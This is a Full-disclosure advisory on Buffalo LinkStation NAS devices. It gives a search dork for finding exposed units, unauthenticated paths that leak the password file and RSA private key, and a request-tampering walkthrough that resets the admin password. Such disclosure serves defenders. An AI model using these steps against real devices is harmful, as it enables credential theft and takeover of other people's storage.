[Full-disclosure] Buffalo Technology LinkStation Information Disclosure And Privilege Escalation

[Hurgel Bumpf <l0rd_lunatic@xxxxxxxxx>]

Release Date.              30-Nov-2012
Last Update.               -
Vendor Notification Date.  23.Dec.2011 

Product.                   Linkstation & Others

Platform.                  Buffalo Technology
Affected versions.         Including Actual Version

Severity Rating.           Medium
Impact.                    Privilege escalation, Information Disclosure

Attack Vector.             From remote
Solution Status.           Don't use internet function aka. WebAccess
CVE reference.             CVE - not yet assigned


Buffalo doesn't has a security department. They always forwarded me to sales, 
as they thought the will help me there better. Never received any answer. Tried 
over some other companies to reach Buffalo, but they are not interested in 
vulnerabilities.
I waited one year and nothing happend. So here we go...



Buffalo Linkstation Information Disclosure (Password, Certificate,..)
+ Google Dork 

+--->intitle:"LinkStation - LS-WTGL"  Copyright 2002-2008

(There are better ways to find them..)



[ WebAccess - Accessing shared folders via Browser. Disabled by default. Has to 
be enabled ]

If you find them online, a WebAccess ist enabled by 99.9%..


No authentication needed to access the files!


+ Permission Settings (read) 
+---> x.x.x.x/modules/webaxs/module/files/perm.conf

+ Username & Password disclosure (htpasswd)
+---> x.x.x.x/modules/webaxs/module/files/password

+ Lighttpd Config
+---> x.x.x.x/modules/webaxs/module/files/lighttpd.conf

+ Lighttpd RSA Private & Public Key
+---> x.x.x.x/modules/webaxs/module/files/host.pem


Buffalo Linkstation Privilege Escalation (Admin Password Reset)

After you cracked the htpassword,  logon with a gained (unprivileged) username 
and reset the admin password.

To do so just use temperdata or intercept on burp and try to change your 
password. Enable temper and press the button to change your password.

In the POST request just change the User*Name fields with the name "admin". 
Make sure to keep the gSSS and gRRR as they are the "session cookies".
Send the changed values and logon with the admin user again.

Example:



   Post Data:
      hiddenPageId[user_add]
      txtUserEditName[admin]   <--- Replace your username with admin here
      txtUserEditOldName[admin]   <--- Replace your username with admin here
      txtUserEditPassword1st[reset]  <-- Password of your favor
      txtUserEditPassword2nd[reset]  <-- Password of your favor
      txtUserEditComment[]
      hiddenUserEditNameOld[admin]   <--- Replace your username with admin here
      txtHelpSearch[]
      gPage[user]
      gMode[setup]
      gType[undefined]
      gKey[undefined]
      gSSS[3ae1c32d69ff7a83594d9daa9c776ad8]
      gRRR[666525125298680621]
      hiddenDummyText[dummy]
   Response Headers:
      Date[Fri, 09 Dec 2011 16:42:13 GMT]
      Server[Apache/1.3.34 (Unix)]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0]
      Expires[Thu, 01 Dec 1994 16:00:00 GMT]
      Pragma[no-cache]
      Keep-Alive[timeout=15, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
You can download a firmware Image and unzip it (zip password is all over the 
internet). There you will find more "features". 
It's just a very bad maintained linux. Bad filepermissions aso..

Buffalo: Your firmware is bad and you should feel bad!

André

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